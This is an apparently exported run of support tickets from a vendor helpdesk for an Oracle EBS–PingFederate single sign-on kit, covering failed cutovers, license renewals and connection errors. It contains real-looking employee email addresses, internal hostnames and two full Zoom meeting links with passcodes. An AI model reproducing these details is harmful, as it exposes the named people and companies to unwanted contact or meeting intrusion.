PROBLEM DESCRIPTION : When I trying to connect to DAISTG instance using the URL [http://daistg.daiglobal.net/OA\\_HTML/AppsLocalLogin.jsp](http://daistg.daiglobal.net/OA_HTML/AppsLocalLogin.jsp) which will presenting the SSO log in screen when I enter the details I am getting the following Even when I try to connect the APEX server using the URL <http://daistg-apex.daiglobal.net/apex> which will presenting the SSO login screen after entering my user id and password details I am getting the following Could you please check this and if it is required please resent my SSO user id password for DAITESTDEV instance only. I need to apply the PIER Phase-II changes in DAISTG instance for testing. Appreciate your early response. Thanks & Regards, Srinivas Garnepudi

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 seen\_articles: ["48001188027"] enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/solutions/articles/48001188027-doc-id-1001-5-ebs-so-failure-due-to-modified-eik-apps-user-credentials> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new> created\_by: 48057489500 time: 2022-07-19 11:21:22 -0400

TICKET DISPLAY ID : 1079

SUBJECT : EBSDR password upgrade activity failed during cutover.

PROBLEM DESCRIPTION : EBSDR password upgrade activity failed during the cutover. We followed the standard steps provided by Sarbjit, but the app failed after uploading the new dbcX file.

Below are the steps we followed: Deployment Steps: · DBA team will share "EIK.dbcX" file. · Upload that file on the runtime engine · Give permission to the new dbcX file · Take backup of the existing ?dbcX? file for EBS instance and put that to ?/tmp? folder · The new dbcX file will be deployed under ?/opt/sso/eikhome/EBSAuth/? · Then restart the Services on both runtime one by one. Attaching the error screenshot as well for better understanding. Please help in resolving this issue, and we need someone from Likeminds support during the next window. Thanks, Arsad

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home> portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Please contact me at [Arsad.lnu@lumentum.com](mailto:Arsad.lnu@lumentum.com).

Hi Lumentum InfoSec, Can you please send meeting invite to resolve this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1079> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



Can you please send a meeting invite to resolve this issue? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1079> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

This issue is not resolved. As we are waiting them to send the DBCX file and the EIKAuth.config file from the Lumentum DB team.

Hi Lumentum InfoSec, Hoping the activity is completed without issues. Can we proceed with closing the ticket? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1079> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello Lumentum InfoSec , ? Gentle reminder ! We presume that this case can be closed, Please confirm, Thank you for your cooperation. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1079> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1080

SUBJECT : We are planning to upgrade our AWS RDS - PING Mysql Instances - Production and need you to review the configuration to avoid any outage

PROBLEM DESCRIPTION : We are planning to upgrade our AWS RDS - PING Mysql Instances - Production and need you to review the configuration to avoid any outage. Since Dev and Prod have different database configurations, we would like you to review the configurations before beginning

the upgrade, as last time we faced a deprovisioning issue with account sand landed on a big outage. Please help in reviewing the configurations only. For any further clarification, please drop me an email. Thanks, Arsad

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://likemindsconsultinghelp.freshdesk.com/support/tickets/1079 portal\_url: https://likemindsconsultinghelp.freshdesk.com/support/tickets/new created\_by: 48031483569 time: 2022-07-21 10:03:31 -0400

Hi Arsad, Thanks for reaching out to us. Unfortunately, technical assistance with external database configurations for PingFederate is out of scope for EIK Support. Please raise a ticket with Ping Support for this activity and they should be able to guide you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1080> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1081

SUBJECT : We are planning to upgrade our AWS RDS - PING Mysql Instances - Production and need you to review the configuration to avoid any outage

PROBLEM DESCRIPTION : We are planning to upgrade our AWS RDS - PING Mysql Instances - Production and need you to review the configuration to avoid any outage. We just want you to review the configuration before starting the upgrade, as Dev and Prod have different database configs. Please contact me at [Arsad.Inu@lumentum.com](mailto:Arsad.Inu@lumentum.com). Thanks, Arsad

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>  
portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new> created\_by:  
48031483569 time: 2022-07-21 10:06:20 -0400

TICKET DISPLAY ID : 1082

SUBJECT : We are planning to upgrade our AWS RDS - PING Mysql Instances - Production and need you to review the configuration to avoid any outage

PROBLEM DESCRIPTION : We are planning to upgrade our AWS RDS - PING Mysql Instances - Production and need you to review the configuration to avoid any outage. We just need your help in reviewing the configurations of our prod Ping instance, so that we can be sure that we are not going to run into any issues. The last time we faced an account de-provisioning issue during the upgrade. Please connect on [Arsad.lnu@lumentum.com](mailto:Arsad.lnu@lumentum.com). Thanks, Arsad

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>  
portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

TICKET DISPLAY ID : 1083

SUBJECT : Upgrade issues on Engine2

PROBLEM DESCRIPTION : Hi Tuan, As you know, we have one Admin server and 2 Engine servers. We have upgraded the EIK on Engine1 and we fixed upgrade issues with your help and engine1 is working. Now I have copied the EIK files from Eng1 to Eng2 and restarted the Eng2 but EBS Authentication is not working. Activities I did on Eng2 are as follows Step1: Copied log4j2.xml,

Eik.dbcx, ebsauth.lic and EIKAuth.config from Engine1 Step2: Copied the EBSAuth.war from Eng1 to Eng2 in below directory path /data/pingfederate-10.3.5/pingfederate/server/default/deploy Step3: Updated the EIK\_HOME in service file as showed below Step 4: set the environmental variable for EIK\_HOME in .bash profile : vi .bash\_profile Error screenshot: Please let me know, what is missing here. If possible can we have call tomorrow as per your availability? I am available from 9am to 6pm UAE time.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/1076> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Harilal Lambadi, Please send us a meeting invite for around 9.30 AM UAE time tomorrow to look into this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1083> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Harilal Lambadi, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1083> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1084

SUBJECT : EIK toolkit license

PROBLEM DESCRIPTION : Hello Team, Please share valid EIK toolkit license , they are expiring on 08/29/2022. Also, please provide the steps to be followed for EIK toolkit license renewal in DEV > TEST > PROD Thanks, Sunil Yadav Activision

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 seen\_articles: "[\"48001157932\"]" enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/solutions/articles/48001157932-activision-eik-licens e-file portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Activision DBA, The License file along with the steps for license renewal will be uploaded to your support portal. We will notify you once it's done. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1084> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Please find the license file for the EIK along with a text file detailing the license renewal process: <https://support.likemindsconsulting.com/en/support/solutions/articles/48001219351-eik-license-file-valid-up-to-2023> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1084> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi EIK Support Team, Thanks for sharing the license file and instructions. Please confirm if same key can be used in all 3 environments i.e. DEV/TEST/PROD ? Thanks, Sunil Yadav

Hi Activision DBA, Yes. The license file can be used in all environments EIK License File: <https://support.likemindsconsulting.com/en/support/solutions/articles/48001219351-eik-license-file-valid-up-to-2023> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1084> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not

reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1085

SUBJECT : The temporary license file

PROBLEM DESCRIPTION : As discussed in the email, please help with the temporary license file for EBSKit.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Temporary license file sent

TICKET DISPLAY ID : 1086

SUBJECT : EBSKIT Old version license

PROBLEM DESCRIPTION : EBSKIT Old version license

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Harilal, ?Please find attached the license for EIK 1.0 (expiry date 18th October 2022) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1086> Regards, EIK Support Team <--

This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

PingFederate Upgrade in production failed. Harilal : The failure was at Ping Access. The Ping Federate upgradation was successful but due to the Ping Access failure we have rolled back the complete upgrade. From EIK prospective, we have generated the dbcx and EIKAuth config files and moved these files to <pf\_install>/pingfederate/EBSAuth directory. One observation while generating the dbcx file was the format of entering the JDBC URL as below didn't worked. Enter the JDBC URL: jdbc:oracle:thin:@<EBS DB domain name>:<EBS DB Port>:<SID> We changed as below and then file has generated. Enter the JDBC URL: jdbc:oracle:thin:@<EBS DB domain name>:<EBS DB Port>/<SID>

TICKET DISPLAY ID : 1087

SUBJECT : License Error while we access EBS Test Application

PROBLEM DESCRIPTION : @support, While we access oracle ebs test, we get below error. Error Encountered License has expired. Please contact your system administrator for assistance. Please find url while we get the error screen.

[https://pingtest.activision.com/EBSAuth\\_Test/error.jsp?message=License%20has%20expired.%20Please%20contact%20your%20system%20administrator%20for%20assistance](https://pingtest.activision.com/EBSAuth_Test/error.jsp?message=License%20has%20expired.%20Please%20contact%20your%20system%20administrator%20for%20assistance).

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 seen\_articles: ["48001162506\", \"48001213059\"] enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets> portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Hi Activision DBA, Can you please send a meeting invite to resolve this issue. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1087> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Please confirm the status of the EBS- Test system after the License error rectification. Thank you for your cooperation, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1087> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Rahul, Please confirm the status of the EBS- Test system after the License error rectification. Can we proceed with closing the ticket? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1087> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1088

SUBJECT : Test ticket 2 from Freshworks

PROBLEM DESCRIPTION : Test ticket 2 from Freshworks -- \*\*The content of this e-mail is confidential and is intended solely for the use of the individual or entity to whom it is addressed. If you have received this e-mail by mistake, please reply to this e-mail and follow with its deletion. If you are not the intended recipient, please note that it shall be considered unlawful to copy, forward or in any manner reveal the contents of this e-mail or any part thereof to anyone. Although Freshworks has taken reasonable precautions to ensure no malware is present in this e-mail, Freshworks cannot accept responsibility for any loss or damage arising from the use of this e-mail or



attachments.\*\*

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 1089

SUBJECT : TEST TICKET ONLY

PROBLEM DESCRIPTION : This is a test ticket

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2022-10-07 13:16:36 UTC

TICKET DISPLAY ID : 1090

SUBJECT : EBS license renewal

PROBLEM DESCRIPTION : The EIK version 1.0 license is going to expire on 18/10/2022, hence please renew the license for same version. The existing license file is attached for your reference.

Note: EIK version 2.0 upgrade also in progress please share the license for this version as well. please let me know, if you need any further clarifications. Thanks, Harilal.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Harilal Lambadi, Please find the attached new license for the EIK 1.0 and EIK 2.2.0.12. Note: The latest version of EIK 2.2.0.12 and it is not 2.0. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1090> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1091

SUBJECT : LOGIN ISSUE

PROBLEM DESCRIPTION : KDFDKSFKD

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 enterprise\_enabled: false referrer: <https://www.w3schools.com/>

TICKET DISPLAY ID : 1092

SUBJECT : TEST

PROBLEM DESCRIPTION : DKDJFDK TEST

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 referrer: <https://www.w3schools.com/> widget\_source: 48000002685

TICKET DISPLAY ID : 1093

SUBJECT : Support required during DR cutover testing.

PROBLEM DESCRIPTION : Support required during DR cut over testing. Last time testing was unsuccessful. Please refer ticket #1079. Testing is scheduled at 11 30 AM to 12 PM IST. Please help on this. -Arsad

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home> portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Testing time is Wednesday, November 16, 2022 11:30 AM-12:00 PM

TICKET DISPLAY ID : 1094

SUBJECT : Error in SSO

PROBLEM DESCRIPTION : We are facing an issue in SSO with .net , we tried to restart the service , it's working fine for a minute then it shows an error "500 : Internal Server Error" please we need your urgent support.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56  
seen\_articles: enterprise\_enabled: false referrer:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets portal\_url:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets/new created\_by: 48022622549 time:  
2022-12-05 04:11:30 -0500

TICKET DISPLAY ID : 1095

SUBJECT : Error in SSO

PROBLEM DESCRIPTION : Dears, We are facing an issue in SSO with .net , we tried to restart the service but it still has the same issue it shows an error "500: Internal server error" contact with "halsaedi@royalprotocol.gov.sa"

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56  
seen\_articles: enterprise\_enabled: false referrer:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets portal\_url:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets/new

Hi Ehab El-Masry, Can you please send us the meeting invite to look into this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1095> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1096

SUBJECT : EBS integration kit assistance

PROBLEM DESCRIPTION : Hi Team, As per the EBS integration kit documentation, we have configured and performed all steps which are recommended. But we are seeing issues while accessing the application. Could you please assist with below queries. 1. We are having PingFederate 11 version running on window server 2019. Want to confirm whether EBSAuth.war is compatible with this version. 2. Under EBS integration kit document( chapter: 7 chapter name: "EIK Deployment in PingFederate"), we can see steps which need to follow on Linux server. Could you please share required steps needed on window environment. 3. We are using JDK 11 version, want to confirm whether EBSAuth.war need to be re-compiled with this java version. 4. While accessing the application, seeing this error message(attached). Can you please help us to fix it. Also, please find the attached server.log files. please find below logs snippet: Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'com.likeminds.ebsauth.core.EikLanguageHandlerUtil': Invocation of init method failed; nested exception is com.likeminds.ebsauth.exception.AuthException: EIK\_SQL\_CONNECTION\_ERROR

Thanks, Rohit

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.42

seen\_articles: enterprise\_enabled: false referrer:

<https://likemindsconsultinghelp.freshdesk.com/support/home>

portal\_url:

<https://likemindsconsultinghelp.freshdesk.com/support/tickets/new> created\_by: 48075298503 time:

2022-12-13 09:47:18 -0500

TICKET DISPLAY ID : 1097

SUBJECT : Configuration issue

PROBLEM DESCRIPTION : Hi Tuan, while configuring a new instance facing below issue.

2023-01-05 15:47:52,393 INFO [com.likeminds.ebsauth.service.AuthService] EIK License Expiry

Date: 2023-08-31 2023-01-05 15:47:52,398 INFO [com.likeminds.ebsauth.service.AuthService]

License Valid 2023-01-05 15:47:52,398 INFO [com.likeminds.ebsauth.controller.AuthController]

Authentication type : OIDC 2023-01-05 15:47:52,401 INFO [com.likeminds.ebsauth.core.AuthUtil]

AuthCode uri =

[https://pingtest.activision.com/as/authorization.oauth2?response\\_type=code&client\\_id=ebsdvalclient&state=eyJyZXF1cmxmbGFnljpmYWxzZSwicmVxdWVzdFVybCI6bnVsbCwibGljVHlwZSI6InByb2R1Y3Rpb24iLCJjb250ZXh0UGF0aCI6IlwvRUJTQXV0aF9EVkFMIn0=&scope=openid&redirect\\_uri=https://pingtest.activision.com/EBSAuth\\_DVAL/handler](https://pingtest.activision.com/as/authorization.oauth2?response_type=code&client_id=ebsdvalclient&state=eyJyZXF1cmxmbGFnljpmYWxzZSwicmVxdWVzdFVybCI6bnVsbCwibGljVHlwZSI6InByb2R1Y3Rpb24iLCJjb250ZXh0UGF0aCI6IlwvRUJTQXV0aF9EVkFMIn0=&scope=openid&redirect_uri=https://pingtest.activision.com/EBSAuth_DVAL/handler)

2023-01-05 15:47:52,414 DEBUG [com.pingidentity.configservice.impl.ConfigStoreImpl]

Loading config file: /usr/local/pingfederate-10.3.2/pingfederate/server/default/data/config-store/http-request-parameter-validation.xml

it would be great if someone can join on zoom and guide us.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 seen\_articles:

enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Activision DBA, Please provide a screen shot of the error message and EIK error logs. ? Send us

a meeting bridge ASAP Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1097>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not  
reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Zoom	link	Join	Zoom	Meeting
<a href="https://atvi.zoom.us/j/98976950808?pwd=bkp0UVFoRVJSTWFyYbXI2dW90OWNhQT09">https://atvi.zoom.us/j/98976950808?pwd=bkp0UVFoRVJSTWFyYbXI2dW90OWNhQT09</a> Meeting ID:				
989 7695 0808 Passcode: 666997 One tap mobile +16694449171,,98976950808#,,, *666997# US				
+16699009128,,98976950808#,,, *666997# US (San Jose) Dial by your location +1 669 444 9171				
US +1 669 900 9128 US (San Jose) +1 253 205 0468 US +1 253 215 8782 US (Tacoma) +1 346				
248 7799 US (Houston) +1 719 359 4580 US +1 305 224 1968 US +1 309 205 3325 US +1 312 626				
6799 US (Chicago) +1 360 209 5623 US +1 386 347 5053 US +1 507 473 4847 US +1 564 217				
2000 US +1 646 558 8656 US (New York) +1 646 931 3860 US +1 689 278 1000 US +1 301 715				
8592 US (Washington DC) 888 788 0099 US Toll-free 833 548 0276 US Toll-free 833 548 0282 US				
Toll-free 833 928 4608 US Toll-free 833 928 4609 US Toll-free 833 928 4610 US Toll-free 877 853				
5247 US Toll-free +44 330 088 5830 United Kingdom +44 131 460 1196 United Kingdom +44 203				
481 5237 United Kingdom +44 203 481 5240 United Kingdom +44 203 901 7895 United Kingdom				
+44 208 080 6591 United Kingdom +44 208 080 6592 United Kingdom +46 8 4468 2488 Sweden				
+46 8 5016 3827 Sweden +46 8 5050 0828 Sweden +46 8 5050 0829 Sweden +46 8 5052 0017				
Sweden +46 850 539 728 Sweden +34 84 368 5025 Spain +34 91 787 0058 Spain +34 917 873				
431 Spain +49 69 3807 9883 Germany +49 69 3807 9884 Germany +49 69 5050 0951 Germany				
+49 69 5050 0952 Germany +49 695 050 2596 Germany +49 69 7104 9922 Germany +1 780 666				
0144 Canada +1 204 272 7920 Canada +1 438 809 7799 Canada +1 587 328 1099 Canada +1 647				
374 4685 Canada +1 647 558 0588 Canada +1 778 907 2071 Canada 833 955 1088 Canada				
Toll-free 833 958 1164 Canada Toll-free 855 703 8985 Canada Toll-free Meeting ID: 989 7695 0808				
Passcode: 666997 Find your local number: <a href="https://atvi.zoom.us/j/abJe5U0zxW">https://atvi.zoom.us/j/abJe5U0zxW</a> Join by SIP				
sip:98976950808.666997@global.zoomcrc.com Join by H.323 162.255.37.11 (US West)				

162.255.36.11 (US East) 221.122.88.195 (China) 115.114.131.7 (India Mumbai) 115.114.115.7 (India Hyderabad) 213.19.144.110 (Amsterdam Netherlands) 213.244.140.110 (Germany) 103.122.166.55 (Australia Sydney) 103.122.167.55 (Australia Melbourne) 209.9.211.110 (Hong Kong SAR) 149.137.40.110 (Singapore) 64.211.144.160 (Brazil) 69.174.57.160 (Canada Toronto) 65.39.152.160 (Canada Vancouver) 207.226.132.110 (Japan Tokyo) 149.137.24.110 (Japan Osaka) Meeting ID: 989 7695 0808 Passcode: 666997

? Hi Activision DBA, Sandeep/Sunil, Your issue has been resolved. Re generated the :eikauth.config & EIK.dcx? Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1097> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1098

SUBJECT : Configuration issue

PROBLEM DESCRIPTION : Hi Tuan, We are facing a configuration issue while configuring a new instance in Production. Can someone join me on the below zoom call? Join Zoom Meeting <https://atvi.zoom.us/j/91876509533?pwd=aGRxYlVxdEpBMytGQjVxMjVqdCsyQT09> Meeting ID: 918 7650 9533 Passcode: 462095 One tap mobile +16699009128,,91876509533#,,,,\*462095# US (San Jose) +16694449171,,91876509533#,,,,\*462095# US Dial by your location +1 669 900 9128 US (San Jose) +1 669 444 9171 US +1 719 359 4580 US +1 253 205 0468 US +1 253 215 8782 US (Tacoma) +1 346 248 7799 US (Houston) +1 386 347 5053 US +1 507 473 4847 US +1 564 217 2000 US +1 646 558 8656 US (New York) +1 646 931 3860 US +1 689 278 1000 US +1 301 715 8592 US (Washington DC) +1 305 224 1968 US +1 309 205 3325 US +1 312 626 6799 US (Chicago) +1 360 209 5623 US 833 928 4609 US Toll-free 833 928 4610 US Toll-free 877 853 5247

US Toll-free 888 788 0099 US Toll-free 833 548 0276 US Toll-free 833 548 0282 US Toll-free 833  
928 4608 US Toll-free +44 203 901 7895 United Kingdom +44 208 080 6591 United Kingdom +44  
208 080 6592 United Kingdom +44 330 088 5830 United Kingdom +44 131 460 1196 United  
Kingdom +44 203 481 5237 United Kingdom +44 203 481 5240 United Kingdom +46 8 5016 3827  
Sweden +46 8 5050 0828 Sweden +46 8 5050 0829 Sweden +46 8 5052 0017 Sweden +46 850  
539 728 Sweden +46 8 4468 2488 Sweden +34 91 787 0058 Spain +34 917 873 431 Spain +34 84  
368 5025 Spain +49 69 3807 9884 Germany +49 69 5050 0951 Germany +49 69 5050 0952  
Germany +49 695 050 2596 Germany +49 69 7104 9922 Germany +49 69 3807 9883 Germany +1  
647 374 4685 Canada +1 647 558 0588 Canada +1 778 907 2071 Canada +1 780 666 0144  
Canada +1 204 272 7920 Canada +1 438 809 7799 Canada +1 587 328 1099 Canada 833 958  
1164 Canada Toll-free 855 703 8985 Canada Toll-free 833 955 1088 Canada Toll-free Meeting ID:  
918 7650 9533 Passcode: 462095 Find your local number: <https://atvi.zoom.us/j/aveDivFgl> Join by  
SIP sip:91876509533.462095@global.zoomcrc.com Join by H.323 162.255.37.11 (US West)  
162.255.36.11 (US East) 221.122.88.195 (China) 115.114.131.7 (India Mumbai) 115.114.115.7  
(India Hyderabad) 213.19.144.110 (Amsterdam Netherlands) 213.244.140.110 (Germany)  
103.122.166.55 (Australia Sydney) 103.122.167.55 (Australia Melbourne) 209.9.211.110 (Hong  
Kong SAR) 149.137.40.110 (Singapore) 64.211.144.160 (Brazil) 69.174.57.160 (Canada Toronto)  
65.39.152.160 (Canada Vancouver) 207.226.132.110 (Japan Tokyo) 149.137.24.110 (Japan  
Osaka) Meeting ID: 918 7650 9533 Passcode: 462095

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

PFA error screen shot



TICKET DISPLAY ID : 1099

SUBJECT : Please recommend for any Security Patches or Upgrade PingFED / EIK-toolkit..

PROBLEM DESCRIPTION : Hi Tuan and LikeMinds Team, Please advice and recommend if there are to apply any Security Patches or do an upgrade this year 2023 for PingFED / EIK-toolkit environments , fyi - we have had applied Log4j vulnerability patches already last year. Thanks, Sunil Yadav

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home> portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Hi Activision DBA, Please send us a meeting bridge to discuss these concerns, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1099> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1100

SUBJECT : " EIK\_SQL\_CONNECTION\_ERROR" Need keep restarting the pingfed services

PROBLEM DESCRIPTION : Dears, We are still facing the same issue in EBS and the error is the same error that we found before : " EIK\_SQL\_CONNECTION\_ERROR" We need a solution for this issue. Best regards,

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-02-03 14:36:02 UTC

Hi Hussan, As discussed in our meeting on the 2nd of Feb 2023 @ 4pm (ist), ? 1.Please lookup the Oracle db log files and see if you could observe any errors 2. We had sent you an email for a

meeting request, our senior engineer Uday will also be joining 3. Please send us the screenshot of the dbcx file (masking the Hostname) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1100> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Server log sent on: 30 Jan 2023 by Hussan.

Server log sent by Hussan on 30 Jan 2023.

